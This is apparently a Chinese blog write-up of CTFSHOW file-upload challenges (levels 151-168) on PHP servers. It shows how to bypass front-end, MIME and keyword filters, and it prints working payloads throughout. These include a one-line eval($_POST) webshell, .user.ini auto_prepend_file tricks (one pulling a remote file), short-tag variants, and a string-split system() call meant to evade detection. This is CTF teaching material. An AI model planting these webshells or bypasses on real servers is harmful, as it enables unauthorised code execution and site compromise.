Web安全--文件上传漏洞--通用漏洞--PHP

知识点:

1.文件上传--前端验证(如果是纯前端验证,那么我们可以直接检查元素修改代码即可绕过上传)

2.文件上传-黑白名单(意思就是网站设立黑白名单,允许上传什么类型文件等)

3.文件上传-.user.ini的妙用

4.文件上传-PHP语言特性

本文分享全部基于PHP的语言

详细点:

1.检测层面:前端,后端等

2.检测内容:文件头,完成性,二次渲染等

3.检测后缀:黑名单,白名单、MIME检测等

4.绕过技巧:多后缀解析,截断,中间件特性,条件竞争等

前置知识点:这里给大家说明一个问题,因为我在学的时候也思考很久。假如我们上传后门代码需要用特定格式后缀解析,不能以图片后缀解析脚本后门代码(解析漏洞除外),如:我们上传后门文件格式为jpg,图片里边有后门代码,不能被触发,所以连接不上后门。

案例演示:CTFSHOW--文件上传

151:改关卡为纯前端验证,查看源代码允许上传png格式,我们直接修改为PHP后,直接上传php后门代码成功。

152:同上操作后提示文件类型不合规,我们简单抓包发现MIME检测,直接修改Content-Type: image/png,成功上传。

153:js验证+.user.ini

.user.ini不过多介绍自行百度,我们上传.user.ini文件,内容为auto_prepend_file=test.png,这句话什么意思呢?说白了这是将test.png当作代码执行,正如前期所说直接上传png图片后门是不会执行的,但是这里我们用到.user.ini后就能将图片后门当作代码执行。Web安全--文件上传漏洞--通用漏洞--PHP_第1张图片

154-155:js验证+.user.ini+短标签

我们知道php代码都有这样的格式,那么不加标签要怎么运行php呢(因为过滤的php关键字段,我们不能写完整的代码,就得用到短标签绕过)

echo '123';?>                                             //前提是开启配置参数short_open_tags=on

(表达式)?>                                               //不需要开启参数设置

<% echo '123';%>                                          //前提是开启配置参数asp_tags=on

<script language=”php”>echo '1'; script>   //不需要修改参数开关

步骤:同上+短标签

.user.ini:auto_prepend_file=test.png

test.png:eval($_POST[x]);?>

163 突破上传删除

过滤 . () {} ;等 同时文件被删除

直接利用.user.ini包含远程

auto_prepend_file=http://794750069/

auto_prepend_file=http://794750069/

Web安全--文件上传漏洞--通用漏洞--PHP_第2张图片

解题方法:条件竞争可以解题但是这关不需要用到条件竞争。(当上传什么文件都删除时才用到条件竞争),条件竞争是没上传之前一直发包确保在上传成功后,在服务器没有删除之前访问到。Web安全--文件上传漏洞--通用漏洞--PHP_第3张图片

文件二次渲染:

1、判断上传前和上传后的文件大小及内容

2、判断上传后的文件返回数据包内容

164 png二次渲染(以后经常碰到的情况):意思就是上传的图片被网站加工处理,会把里边的代码进行修改,这就是二次渲染。

文件上传之二次渲染绕过_qq_40800734的博客-CSDN博客_图片二次渲染    (该网站是利用代码脚本生成渲染图片后门的,手工也可以自己生成但是有难度。但是脚本代码生成的图片也不是一定可以)

get 0=system

post 1=tac flag.phpWeb安全--文件上传漏洞--通用漏洞--PHP_第4张图片

168 免杀后门

php $a='syste';$b='m';$c=$a.$b;$c('tac ../flagaa.php');?>

这题是写不进去,当我们上传关键代码时会直接被删除(或者可以说写不进去),解决办法就是我们直接把关键的代码进行分割。Web安全--文件上传漏洞--通用漏洞--PHP_第5张图片

上传成功后直接访问该目录即可

 

 文件上传还有很多配合中间件的解析漏洞上传的,这里不再过多介绍。

你可能感兴趣的:(web安全,php,安全,网络安全,开发语言)